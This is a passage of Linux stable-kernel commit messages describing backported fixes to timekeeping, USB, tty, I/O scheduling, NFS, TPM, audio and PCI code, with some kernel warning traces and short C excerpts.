The fix is trivial - we need to calculate page address similarly in both cases. Signed-off-by: Alexey Brodkin Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b58c085d5e86cf250da5f8b6bd4b0004b7f77d11 Author: John Stultz Date: Mon Feb 9 23:30:36 2015 -0800 ntp: Fixup adjtimex freq validation on 32-bit systems commit 29183a70b0b828500816bd794b3fe192fce89f73 upstream. Additional validation of adjtimex freq values to avoid potential multiplication overflows were added in commit 5e5aeb4367b (time: adjtimex: Validate the ADJ_FREQUENCY values) Unfortunately the patch used LONG_MAX/MIN instead of LLONG_MAX/MIN, which was fine on 64-bit systems, but being much smaller on 32-bit systems caused false positives resulting in most direct frequency adjustments to fail w/ EINVAL. ntpd only does direct frequency adjustments at startup, so the issue was not as easily observed there, but other time sync applications like ptpd and chrony were more effected by the bug. See bugs: https://bugzilla.kernel.org/show_bug.cgi?id=92481 https://bugzilla.redhat.com/show_bug.cgi?id=1188074 This patch changes the checks to use LLONG_MAX for clarity, and additionally the checks are disabled on 32-bit systems since LLONG_MAX/PPM_SCALE is always larger then the 32-bit long freq value, so multiplication overflows aren't possible there. Reported-by: Josh Boyer Reported-by: George Joseph Tested-by: George Joseph Signed-off-by: John Stultz Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Sasha Levin Link: http://lkml.kernel.org/r/1423553436-29747-1-git-send-email-john.stultz@linaro.org [ Prettified the changelog and the comments a bit. ] Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e16aad6ff2f6d42cba32505e0b7d153c4174023a Author: Jay Lan Date: Mon Sep 29 15:36:57 2014 -0700 kdb: fix incorrect counts in KDB summary command output commit 146755923262037fc4c54abc28c04b1103f3cc51 upstream. The output of KDB 'summary' command should report MemTotal, MemFree and Buffers output in kB. Current codes report in unit of pages. A define of K(x) as is defined in the code, but not used. This patch would apply the define to convert the values to kB. Please include me on Cc on replies. I do not subscribe to linux-kernel. Signed-off-by: Jay Lan Signed-off-by: Jason Wessel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f69f461db9f5d0e1d6a2971bd887c1adda2edc3 Author: Dmitry Eremin-Solenikov Date: Thu Dec 4 14:10:01 2014 +0300 ARM: pxa: add regulator_has_full_constraints to poodle board file commit 9bc78f32c2e430aebf6def965b316aa95e37a20c upstream. Add regulator_has_full_constraints() call to poodle board file to let regulator core know that we do not have any additional regulators left. This lets it substitute unprovided regulators with dummy ones. This fixes the following warnings that can be seen on poodle if regulators are enabled: ads7846 spi1.0: unable to get regulator: -517 spi spi1.0: Driver ads7846 requests probe deferral wm8731 0-001b: Failed to get supply 'AVDD': -517 wm8731 0-001b: Failed to request supplies: -517 wm8731 0-001b: ASoC: failed to probe component -517 Signed-off-by: Dmitry Eremin-Solenikov Acked-by: Mark Brown Signed-off-by: Robert Jarzmik Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3fe360bb6c314dbc2f381fcc4c4d799abf0cb043 Author: Dmitry Eremin-Solenikov Date: Thu Dec 4 14:10:00 2014 +0300 ARM: pxa: add regulator_has_full_constraints to corgi board file commit 271e80176aae4e5b481f4bb92df9768c6075bbca upstream. Add regulator_has_full_constraints() call to corgi board file to let regulator core know that we do not have any additional regulators left. This lets it substitute unprovided regulators with dummy ones. This fixes the following warnings that can be seen on corgi if regulators are enabled: ads7846 spi1.0: unable to get regulator: -517 spi spi1.0: Driver ads7846 requests probe deferral wm8731 0-001b: Failed to get supply 'AVDD': -517 wm8731 0-001b: Failed to request supplies: -517 wm8731 0-001b: ASoC: failed to probe component -517 corgi-audio corgi-audio: ASoC: failed to instantiate card -517 Signed-off-by: Dmitry Eremin-Solenikov Acked-by: Mark Brown Signed-off-by: Robert Jarzmik Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2a7d917585c0f7e5e78e06f325f085e195f8a3e2 Author: Nicolas Pitre Date: Fri Jan 23 17:07:21 2015 -0500 vt: provide notifications on selection changes commit 19e3ae6b4f07a87822c1c9e7ed99d31860e701af upstream. The vcs device's poll/fasync support relies on the vt notifier to signal changes to the screen content. Notifier invocations were missing for changes that comes through the selection interface though. Fix that. Tested with BRLTTY 5.2. Signed-off-by: Nicolas Pitre Cc: Dave Mielke Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2405b6aa13ecca83fddcdd5fd2ee56b83d30145f Author: Sebastian Andrzej Siewior Date: Fri Dec 5 15:13:54 2014 +0100 usb: core: buffer: smallest buffer should start at ARCH_DMA_MINALIGN commit 5efd2ea8c9f4f12916ffc8ba636792ce052f6911 upstream. the following error pops up during "testusb -a -t 10" | musb-hdrc musb-hdrc.1.auto: dma_pool_free buffer-128, f134e000/be842000 (bad dma) hcd_buffer_create() creates a few buffers, the smallest has 32 bytes of size. ARCH_KMALLOC_MINALIGN is set to 64 bytes. This combo results in hcd_buffer_alloc() returning memory which is 32 bytes aligned and it might by identified by buffer_offset() as another buffer. This means the buffer which is on a 32 byte boundary will not get freed, instead it tries to free another buffer with the error message. This patch fixes the issue by creating the smallest DMA buffer with the size of ARCH_KMALLOC_MINALIGN (or 32 in case ARCH_KMALLOC_MINALIGN is smaller). This might be 32, 64 or even 128 bytes. The next three pools will have the size 128, 512 and 2048. In case the smallest pool is 128 bytes then we have only three pools instead of four (and zero the first entry in the array). The last pool size is always 2048 bytes which is the assumed PAGE_SIZE / 2 of 4096. I doubt it makes sense to continue using PAGE_SIZE / 2 where we would end up with 8KiB buffer in case we have 16KiB pages. Instead I think it makes sense to have a common size(s) and extend them if there is need to. There is a BUILD_BUG_ON() now in case someone has a minalign of more than 128 bytes. Signed-off-by: Sebastian Andrzej Siewior Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 47ac5f7c0e76f8742dcbe99eee6ed826ff7bfe0e Author: Alan Stern Date: Fri Jan 30 12:58:26 2015 -0500 USB: fix use-after-free bug in usb_hcd_unlink_urb() commit c99197902da284b4b723451c1471c45b18537cde upstream. The usb_hcd_unlink_urb() routine in hcd.c contains two possible use-after-free errors. The dev_dbg() statement at the end of the routine dereferences urb and urb->dev even though both structures may have been deallocated. This patch fixes the problem by storing urb->dev in a local variable (avoiding the dereference of urb) and moving the dev_dbg() up before the usb_put_dev() call. Signed-off-by: Alan Stern Reported-by: Joe Lawrence Tested-by: Joe Lawrence Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b328218f0c244c947b27cdc1106bac963680d004 Author: Lennart Sorensen Date: Wed Jan 21 15:24:27 2015 -0500 USB: cp210x: add ID for RUGGEDCOM USB Serial Console commit a6f0331236fa75afba14bbcf6668d42cebb55c43 upstream. Added the USB serial console device ID for Siemens Ruggedcom devices which have a USB port for their serial console. Signed-off-by: Len Sorensen Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e07612e0bcfb01ef45d9f381ee13c0ede71b6d53 Author: Peter Hurley Date: Mon Jan 19 13:05:03 2015 -0500 tty: Prevent untrappable signals from malicious program commit 37480a05685ed5b8e1b9bf5e5c53b5810258b149 upstream. Commit 26df6d13406d1a5 ("tty: Add EXTPROC support for LINEMODE") allows a process which has opened a pty master to send _any_ signal to the process group of the pty slave. Although potentially exploitable by a malicious program running a setuid program on a pty slave, it's unknown if this exploit currently exists. Limit to signals actually used. Cc: Theodore Ts'o Cc: Howard Chu Cc: One Thousand Gnomes Cc: Jiri Slaby Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 310915ba08a9cbd0a642de679a4553ce213e30a2 Author: Matthew Wilcox Date: Wed Jan 7 18:04:18 2015 +0200 axonram: Fix bug in direct_access commit 91117a20245b59f70b563523edbf998a62fc6383 upstream. The 'pfn' returned by axonram was completely bogus, and has been since 2008. Signed-off-by: Matthew Wilcox Reviewed-by: Jan Kara Reviewed-by: Mathieu Desnoyers Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56c266b1ec9526aae923b2a8f240b3e0f3327cf3 Author: Jeff Moyer Date: Mon Jan 12 15:21:01 2015 -0500 cfq-iosched: fix incorrect filing of rt async cfqq commit c6ce194325cef342313e3d27620411ce90a89c50 upstream. Hi, If you can manage to submit an async write as the first async I/O from the context of a process with realtime scheduling priority, then a cfq_queue is allocated, but filed into the wrong async_cfqq bucket. It ends up in the best effort array, but actually has realtime I/O scheduling priority set in cfqq->ioprio. The reason is that cfq_get_queue assumes the default scheduling class and priority when there is no information present (i.e. when the async cfqq is created): static struct cfq_queue * cfq_get_queue(struct cfq_data *cfqd, bool is_sync, struct cfq_io_cq *cic, struct bio *bio, gfp_t gfp_mask) { const int ioprio_class = IOPRIO_PRIO_CLASS(cic->ioprio); const int ioprio = IOPRIO_PRIO_DATA(cic->ioprio); cic->ioprio starts out as 0, which is "invalid". So, class of 0 (IOPRIO_CLASS_NONE) is passed to cfq_async_queue_prio like so: async_cfqq = cfq_async_queue_prio(cfqd, ioprio_class, ioprio); static struct cfq_queue ** cfq_async_queue_prio(struct cfq_data *cfqd, int ioprio_class, int ioprio) { switch (ioprio_class) { case IOPRIO_CLASS_RT: return &cfqd->async_cfqq[0][ioprio]; case IOPRIO_CLASS_NONE: ioprio = IOPRIO_NORM; /* fall through */ case IOPRIO_CLASS_BE: return &cfqd->async_cfqq[1][ioprio]; case IOPRIO_CLASS_IDLE: return &cfqd->async_idle_cfqq; default: BUG(); } } Here, instead of returning a class mapped from the process' scheduling priority, we get back the bucket associated with IOPRIO_CLASS_BE. Now, there is no queue allocated there yet, so we create it: cfqq = cfq_find_alloc_queue(cfqd, is_sync, cic, bio, gfp_mask); That function ends up doing this: cfq_init_cfqq(cfqd, cfqq, current->pid, is_sync); cfq_init_prio_data(cfqq, cic); cfq_init_cfqq marks the priority as having changed. Then, cfq_init_prio data does this: ioprio_class = IOPRIO_PRIO_CLASS(cic->ioprio); switch (ioprio_class) { default: printk(KERN_ERR "cfq: bad prio %x\n", ioprio_class); case IOPRIO_CLASS_NONE: /* * no prio set, inherit CPU scheduling settings */ cfqq->ioprio = task_nice_ioprio(tsk); cfqq->ioprio_class = task_nice_ioclass(tsk); break; So we basically have two code paths that treat IOPRIO_CLASS_NONE differently, which results in an RT async cfqq filed into a best effort bucket. Attached is a patch which fixes the problem. I'm not sure how to make it cleaner. Suggestions would be welcome. Signed-off-by: Jeff Moyer Tested-by: Hidehiro Kawai Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ab1363da410a970d8a16ab732f960390c2c00823 Author: Konstantin Khlebnikov Date: Mon Feb 9 16:42:49 2015 +0300 cfq-iosched: handle failure of cfq group allocation commit 69abaffec7d47a083739b79e3066cb3730eba72e upstream. Cfq_lookup_create_cfqg() allocates struct blkcg_gq using GFP_ATOMIC. In cfq_find_alloc_queue() possible allocation failure is not handled. As a result kernel oopses on NULL pointer dereference when cfq_link_cfqq_cfqg() calls cfqg_get() for NULL pointer. Bug was introduced in v3.5 in commit cd1604fab4f9 ("blkcg: factor out blkio_group creation"). Prior to that commit cfq group lookup had returned pointer to root group as fallback. This patch handles this error using existing fallback oom_cfqq. Signed-off-by: Konstantin Khlebnikov Acked-by: Tejun Heo Acked-by: Vivek Goyal Fixes: cd1604fab4f9 ("blkcg: factor out blkio_group creation") Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c521bd72f011250242e1ac1e0cb7f593539a8d8f Author: Nicholas Bellinger Date: Thu Jan 22 00:56:53 2015 -0800 iscsi-target: Drop problematic active_ts_list usage commit 3fd7b60f2c7418239d586e359e0c6d8503e10646 upstream. This patch drops legacy active_ts_list usage within iscsi_target_tq.c code. It was originally used to track the active thread sets during iscsi-target shutdown, and is no longer used by modern upstream code. Two people have reported list corruption using traditional iscsi-target and iser-target with the following backtrace, that appears to be related to iscsi_thread_set->ts_list being used across both active_ts_list and inactive_ts_list. [ 60.782534] ------------[ cut here ]------------ [ 60.782543] WARNING: CPU: 0 PID: 9430 at lib/list_debug.c:53 __list_del_entry+0x63/0xd0() [ 60.782545] list_del corruption, ffff88045b00d180->next is LIST_POISON1 (dead000000100100) [ 60.782546] Modules linked in: ib_srpt tcm_qla2xxx qla2xxx tcm_loop tcm_fc libfc scsi_transport_fc scsi_tgt ib_isert rdma_cm iw_cm ib_addr iscsi_target_mod target_core_pscsi target_core_file target_core_iblock target_core_mod configfs ebtable_nat ebtables ipt_MASQUERADE iptable_nat nf_nat_ipv4 nf_nat nf_conntrack_ipv4 nf_defrag_ipv4 ipt_REJECT xt_CHECKSUM iptable_mangle iptable_filter ip_tables bridge stp llc autofs4 sunrpc ip6t_REJECT nf_conntrack_ipv6 nf_defrag_ipv6 xt_state nf_conntrack ip6table_filter ip6_tables ipv6 ib_ipoib ib_cm ib_uverbs ib_umad mlx4_en mlx4_ib ib_sa ib_mad ib_core mlx4_core dm_mirror dm_region_hash dm_log dm_mod vhost_net macvtap macvlan vhost tun kvm_intel kvm uinput iTCO_wdt iTCO_vendor_support microcode serio_raw pcspkr sb_edac edac_core sg i2c_i801 lpc_ich mfd_core mtip32xx igb i2c_algo_bit i2c_core ptp pps_core ioatdma dca wmi ext3(F) jbd(F) mbcache(F) sd_mod(F) crc_t10dif(F) crct10dif_common(F) ahci(F) libahci(F) isci(F) libsas(F) scsi_transport_sas(F) [last unloaded: speedstep_lib] [ 60.782597] CPU: 0 PID: 9430 Comm: iscsi_ttx Tainted: GF 3.12.19+ #2 [ 60.782598] Hardware name: Supermicro X9DRX+-F/X9DRX+-F, BIOS 3.00 07/09/2013 [ 60.782599] 0000000000000035 ffff88044de31d08 ffffffff81553ae7 0000000000000035 [ 60.782602] ffff88044de31d58 ffff88044de31d48 ffffffff8104d1cc 0000000000000002 [ 60.782605] ffff88045b00d180 ffff88045b00d0c0 ffff88045b00d0c0 ffff88044de31e58 [ 60.782607] Call Trace: [ 60.782611] [] dump_stack+0x49/0x62 [ 60.782615] [] warn_slowpath_common+0x8c/0xc0 [ 60.782618] [] warn_slowpath_fmt+0x46/0x50 [ 60.782620] [] __list_del_entry+0x63/0xd0 [ 60.782622] [] list_del+0x11/0x40 [ 60.782630] [] iscsi_del_ts_from_active_list+0x29/0x50 [iscsi_target_mod] [ 60.782635] [] iscsi_tx_thread_pre_handler+0xa1/0x180 [iscsi_target_mod] [ 60.782642] [] iscsi_target_tx_thread+0x4e/0x220 [iscsi_target_mod] [ 60.782647] [] ? iscsit_handle_snack+0x190/0x190 [iscsi_target_mod] [ 60.782652] [] ? iscsit_handle_snack+0x190/0x190 [iscsi_target_mod] [ 60.782655] [] kthread+0xce/0xe0 [ 60.782657] [] ? kthread_freezable_should_stop+0x70/0x70 [ 60.782660] [] ret_from_fork+0x7c/0xb0 [ 60.782662] [] ? kthread_freezable_should_stop+0x70/0x70 [ 60.782663] ---[ end trace 9662f4a661d33965 ]--- Since this code is no longer used, go ahead and drop the problematic usage all-together. Reported-by: Gavin Guo Reported-by: Moussa Ba Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9a57c2ed168493ac4db353bb6790ee94f29612b Author: Trond Myklebust Date: Wed Feb 11 17:27:55 2015 -0500 NFSv4.1: Fix a kfree() of uninitialised pointers in decode_cb_sequence_args commit d8ba1f971497c19cf80da1ea5391a46a5f9fbd41 upstream. If the call to decode_rc_list() fails due to a memory allocation error, then we need to truncate the array size to ensure that we only call kfree() on those pointer that were allocated. Reported-by: David Ramos Fixes: 4aece6a19cf7f ("nfs41: cb_sequence xdr implementation") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb813d8236f2e7f09485daab4b8b3543c6775db3 Author: honclo Date: Thu Feb 12 21:02:24 2015 -0500 Added Little Endian support to vtpm module commit eb71f8a5e33fa1066fb92f0111ab366a341e1f6c upstream. The tpm_ibmvtpm module is affected by an unaligned access problem. ibmvtpm_crq_get_version failed with rc=-4 during boot when vTPM is enabled in Power partition, which supports both little endian and big endian modes. We added little endian support to fix this problem: 1) added cpu_to_be64 calls to ensure BE data is sent from an LE OS. 2) added be16_to_cpu and be32_to_cpu calls to make sure data received is in LE format on a LE OS. Signed-off-by: Hon Ching(Vicky) Lo Signed-off-by: Joy Latten [phuewe: manually applied the patch :( ] Reviewed-by: Ashley Lai Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fb5a98f161c3b5c3e374b2ac8ff0c96e6e4ce9bf Author: Christophe Ricard Date: Mon Dec 1 19:32:46 2014 +0100 tpm/tpm_i2c_stm_st33: Fix potential bug in tpm_stm_i2c_send commit 1ba3b0b6f218072afe8372d12f1b6bf26a26008e upstream. When sending data in tpm_stm_i2c_send, each loop iteration send buf. Send buf + i instead as the goal of this for loop is to send a number of byte from buf that fit in burstcnt. Once those byte are sent, we are supposed to send the next ones. The driver was working because the burstcount value returns always the maximum size for a TPM command or response. (0x800 for a command and 0x400 for a response). Reviewed-by: Jason Gunthorpe Signed-off-by: Christophe Ricard Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6434806d3e10252de0fdcc4107446a7a8b1d60a1 Author: Hon Ching (Vicky) Lo Date: Sun Nov 30 15:01:28 2014 +0100 tpm: Fix NULL return in tpm_ibmvtpm_get_desired_dma commit 84eb186bc37c0900b53077ca21cf6dd15823a232 upstream. There was an oops in tpm_ibmvtpm_get_desired_dma, which caused kernel panic during boot when vTPM is enabled in Power partition configured in AMS mode. vio_bus_probe calls vio_cmo_bus_probe which calls tpm_ibmvtpm_get_desired_dma to get the size needed for DMA allocation. The problem is, vio_cmo_bus_probe is called before calling probe, which for vtpm is tpm_ibmvtpm_probe and it's this function that initializes and sets up vtpm's CRQ and gets required data values. Therefore, since this has not yet been done, NULL is returned in attempt to get the size for DMA allocation. We added a NULL check. In addition, a default buffer size will be set when NULL is returned. Signed-off-by: Hon Ching (Vicky) Lo Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad1d95e68e8cfffcfcd755e61bc21b991a9bbd16 Author: Scot Doyle Date: Wed Sep 24 22:41:10 2014 +0000 tpm_tis: verify interrupt during init commit 448e9c55c12d6bd4fa90a7e31d802e045666d7c8 upstream. Some machines, such as the Acer C720 and Toshiba CB35, have TPMs that do not send IRQs while also having an ACPI TPM entry indicating that they will be sent. These machines freeze on resume while the tpm_tis module waits for an IRQ, eventually timing out. When in interrupt mode, the tpm_tis module should receive an IRQ during module init. Fall back to polling mode if none is received when expected. Signed-off-by: Scot Doyle Tested-by: Michael Mullin Reviewed-by: Jason Gunthorpe [phuewe: minor checkpatch fixed] Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 48a080849eccd87732ac40afd532ab98e30d1df7 Author: Dmitry Eremin-Solenikov Date: Thu Jan 15 03:06:22 2015 +0100 ARM: 8284/1: sa1100: clear RCSR_SMR on resume commit e461894dc2ce7778ccde1c3483c9b15a85a7fc5f upstream. StrongARM core uses RCSR SMR bit to tell to bootloader that it was reset by entering the sleep mode. After we have resumed, there is little point in having that bit enabled. Moreover, if this bit is set before reboot, the bootloader can become confused. Thus clear the SMR bit on resume just before clearing the scratchpad (resume address) register. Signed-off-by: Dmitry Eremin-Solenikov Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac1e8c0fde6995b981b631f9f70e3097efe3d3bd Author: James Hogan Date: Thu May 29 10:16:32 2014 +0100 MIPS: KVM: Deliver guest interrupts after local_irq_disable() commit 044f0f03eca0110e1835b2ea038a484b93950328 upstream. When about to run the guest, deliver guest interrupts after disabling host interrupts. This should prevent an hrtimer interrupt from being handled after delivering guest interrupts, and therefore not delivering the guest timer interrupt until after the next guest exit. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: Gleb Natapov Cc: kvm@vger.kernel.org Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: Sanjay Lal Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1757cf2c8fe17b6a3aa4486d3890b2f7fb294f1 Author: Jeff Layton Date: Wed Jan 14 13:08:57 2015 -0500 nfs: don't call blocking operations while !TASK_RUNNING commit 6ffa30d3f734d4f6b478081dfc09592021028f90 upstream. Bruce reported seeing this warning pop when mounting using v4.1: ------------[ cut here ]------------ WARNING: CPU: 1 PID: 1121 at kernel/sched/core.c:7300 __might_sleep+0xbd/0xd0() do not call blocking ops when !TASK_RUNNING; state=1 set at [] prepare_to_wait+0x2f/0x90 Modules linked in: rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace sunrpc fscache ip6t_rpfilter ip6t_REJECT nf_reject_ipv6 xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw snd_hda_codec_generic snd_hda_intel snd_hda_controller snd_hda_codec snd_hwdep snd_pcm snd_timer ppdev joydev snd virtio_console virtio_balloon pcspkr serio_raw parport_pc parport pvpanic floppy soundcore i2c_piix4 virtio_blk virtio_net qxl drm_kms_helper ttm drm virtio_pci virtio_ring ata_generic virtio pata_acpi CPU: 1 PID: 1121 Comm: nfsv4.1-svc Not tainted 3.19.0-rc4+ #25 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 0000000000000000 000000004e5e3f73 ffff8800b998fb48 ffffffff8186ac78 0000000000000000 ffff8800b998fba0 ffff8800b998fb88 ffffffff810ac9da ffff8800b998fb68 ffffffff81c923e7 00000000000004d9 0000000000000000 Call Trace: [] dump_stack+0x4c/0x65 [] warn_slowpath_common+0x8a/0xc0 [] warn_slowpath_fmt+0x55/0x70 [] ? prepare_to_wait+0x2f/0x90 [] ? prepare_to_wait+0x2f/0x90 [] __might_sleep+0xbd/0xd0 [] kmem_cache_alloc_trace+0x243/0x430 [] ? groups_alloc+0x3e/0x130 [] groups_alloc+0x3e/0x130 [] svcauth_unix_accept+0x16e/0x290 [sunrpc] [] svc_authenticate+0xe1/0xf0 [sunrpc] [] svc_process_common+0x244/0x6a0 [sunrpc] [] bc_svc_process+0x1c4/0x260 [sunrpc] [] nfs41_callback_svc+0x128/0x1f0 [nfsv4] [] ? wait_woken+0xc0/0xc0 [] ? nfs4_callback_svc+0x60/0x60 [nfsv4] [] kthread+0x11f/0x140 [] ? local_clock+0x15/0x30 [] ? kthread_create_on_node+0x250/0x250 [] ret_from_fork+0x7c/0xb0 [] ? kthread_create_on_node+0x250/0x250 ---[ end trace 675220a11e30f4f2 ]--- nfs41_callback_svc does most of its work while in TASK_INTERRUPTIBLE, which is just wrong. Fix that by finishing the wait immediately if we've found that the list has something on it. Also, we don't expect this kthread to accept signals, so we should be using a TASK_UNINTERRUPTIBLE sleep instead. That however, opens us up hung task warnings from the watchdog, so have the schedule_timeout wake up every 60s if there's no callback activity. Reported-by: "J. Bruce Fields" Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c4570f2f0766b5f67dd02ccc173c0a7ec0a1f7d Author: Jisheng Zhang Date: Wed Jan 28 19:54:12 2015 +0800 mmc: sdhci-pxav3: fix setting of pdata->clk_delay_cycles commit 14460dbaf7a5a0488963fdb8232ad5c8a8cca7b7 upstream. Current code checks "clk_delay_cycles > 0" to know whether the optional "mrvl,clk_delay_cycles" is set or not. But of_property_read_u32() doesn't touch clk_delay_cycles if the property is not set. And type of clk_delay_cycles is u32, so we may always set pdata->clk_delay_cycles as a random value. This patch fix this problem by check the return value of of_property_read_u32() to know whether the optional clk-delay-cycles is set or not. Signed-off-by: Jisheng Zhang Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cd95de6982bb595f63cf67c1e30b1ce48e379dda Author: Krzysztof Kozlowski Date: Tue Jan 27 16:51:54 2015 +0100 power_supply: 88pm860x: Fix leaked power supply on probe fail commit 24727b45b484e8937dcde53fa8d1aa70ac30ec0c upstream. Driver forgot to unregister power supply if request_threaded_irq() failed in probe(). In such case the memory associated with power supply leaked. Signed-off-by: Krzysztof Kozlowski Fixes: a830d28b48bf ("power_supply: Enable battery-charger for 88pm860x") Signed-off-by: Sebastian Reichel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 27d9f307d79b95d5fce327b28c477567dd7b4e91 Author: Adrian Knoth Date: Tue Feb 10 11:33:50 2015 +0100 ALSA: hdspm - Constrain periods to 2 on older cards commit f0153c3d948c1764f6c920a0675d86fc1d75813e upstream. RME RayDAT and AIO use a fixed buffer size of 16384 samples. With period sizes of 32-4096, this translates to 4-512 periods. The older RME cards have a variable buffer size but require exactly two periods. This patch enforces nperiods=2 on those cards. Signed-off-by: Adrian Knoth Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f93b1fe7c183a9dc8f76c69ccc9b3c35a1a516e1 Author: Dan Carpenter Date: Mon Feb 9 16:51:40 2015 +0300 ALSA: off by one bug in snd_riptide_joystick_probe() commit e4940626defdf6c92da1052ad3f12741c1a28c90 upstream. The problem here is that we check: if (dev >= SNDRV_CARDS) Then we increment "dev". if (!joystick_port[dev++]) Then we use it as an offset into a array with SNDRV_CARDS elements. if (!request_region(joystick_port[dev], 8, "Riptide gameport")) { This has 3 effects: 1) If you use the module option to specify the joystick port then it has to be shifted one space over. 2) The wrong error message will be printed on failure if you have over 32 cards. 3) Static checkers will correctly complain that are off by one. Fixes: db1005ec6ff8 ('ALSA: riptide - Fix joystick resource handling') Signed-off-by: Dan Carpenter Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f1879c8c51a53d3c9c50b26b8e75cda72341ef84 Author: Malcolm Priestley Date: Fri Jan 2 10:56:28 2015 -0300 lmedm04: Fix usb_submit_urb BOGUS urb xfer, pipe 1 != type 3 in interrupt urb commit 15e1ce33182d1d5dbd8efe8d382b9352dc857527 upstream. A quirk of some older firmwares that report endpoint pipe type as PIPE_BULK but the endpoint otheriwse functions as interrupt. Check if usb_endpoint_type is USB_ENDPOINT_XFER_BULK and set as usb_rcvbulkpipe. Signed-off-by: Malcolm Priestley Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16f2a37e58437cbaca0667d891ce399b2e819488 Author: Mikulas Patocka Date: Mon Feb 9 13:38:17 2015 -0500 cpufreq: speedstep-smi: enable interrupts when waiting commit d4d4eda23794c701442e55129dd4f8f2fefd5e4d upstream. On Dell Latitude C600 laptop with Pentium 3 850MHz processor, the speedstep-smi driver sometimes loads and sometimes doesn't load with "change to state X failed" message. The hardware sometimes refuses to change frequency and in this case, we need to retry later. I found out that we need to enable interrupts while waiting. When we enable interrupts, the hardware blockage that prevents frequency transition resolves and the transition is possible. With disabled interrupts, the blockage doesn't resolve (no matter how long do we wait). The exact reasons for this hardware behavior are unknown. This patch enables interrupts in the function speedstep_set_state that can be called with disabled interrupts. However, this function is called with disabled interrupts only from speedstep_get_freqs, so it shouldn't cause any problem. Signed-off-by: Mikulas Patocka Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f4372d281e6dd578aecb4f895a5e2e3a2babef6 Author: Michel Dänzer Date: Mon Jan 19 17:53:20 2015 +0900 PCI: Fix infinite loop with ROM image of size 0 commit 16b036af31e1456cb69243a5a0c9ef801ecd1f17 upstream. If the image size would ever read as 0, pci_get_rom_size() could keep processing the same image over and over again. Exit the loop if we ever read a length of zero. This fixes a soft lockup on boot when the radeon driver calls pci_get_rom_size() on an AMD Radeon R7 250X PCIe discrete graphics card. [bhelgaas: changelog, reference] Link: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1386973 Reported-by: Federico Signed-off-by: Michel Dänzer Signed-off-by: Bjorn Helgaas Reviewed-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 39a1084df60b9a34aac68fd2a4dd249f6bd2f21d Author: Ricardo Ribalda Delgado Date: Tue Dec 2 17:35:04 2014 +0100 PCI: Generate uppercase hex for modalias var in uevent commit 145b3fe579db66fbe999a2bc3fd5b63dffe9636d upstream. Some implementations of modprobe fail to load the driver for a PCI device automatically because the "interface" part of the modalias from the kernel is lowercase, and the modalias from file2alias is uppercase. The "interface" is the low-order byte of the Class Code, defined in PCI r3.0, Appendix D. Most interface types defined in the spec do not use alpha characters, so they won't be affected. For example, 00h, 01h, 10h, 20h, etc. are unaffected. Print the "interface" byte of the Class Code in uppercase hex, as we already do for the Vendor ID, Device ID, Class, etc. Commit 89ec3dcf17fd ("PCI: Generate uppercase hex for modalias interface class") fixed only half of the problem. Some udev implementations rely on the uevent file and not the modalias file. Fixes: d1ded203adf1 ("PCI: add MODALIAS to hotplug event for pci devices") Fixes: 89ec3dcf17fd ("PCI: Generate uppercase hex for modalias interface class") Signed-off-by: 